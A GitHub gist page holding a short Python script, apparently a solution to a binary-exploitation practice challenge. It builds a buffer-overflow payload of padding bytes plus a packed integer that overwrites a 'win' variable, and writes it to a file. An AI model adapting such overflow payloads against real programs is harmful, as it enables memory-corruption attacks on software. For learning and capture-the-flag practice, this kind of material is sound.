Skip to content

Instantly share code, notes, and snippets.

@morkev
Created November 24, 2024 07:52
Show Gist options
  • Select an option

  • Save morkev/58c474fcf4a041b787db5dfc3051ccd6 to your computer and use it in GitHub Desktop.

Select an option

Save morkev/58c474fcf4a041b787db5dfc3051ccd6 to your computer and use it in GitHub Desktop.

Revisions

  1. morkev created this gist Nov 24, 2024.
    18 changes: 18 additions & 0 deletions binary_exploitation_precision_hard.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,18 @@
    import struct

    buffer_size = 123
    offset_to_win = 123
    offset_to_lose = 127

    padding = offset_to_win

    win_value = struct.pack("<I", 1)

    payload = b"A" * padding + win_value

    assert len(payload) <= offset_to_lose

    with open("payload.bin", "wb") as f:
    f.write(payload)

    print(payload.decode('latin-1'), end='')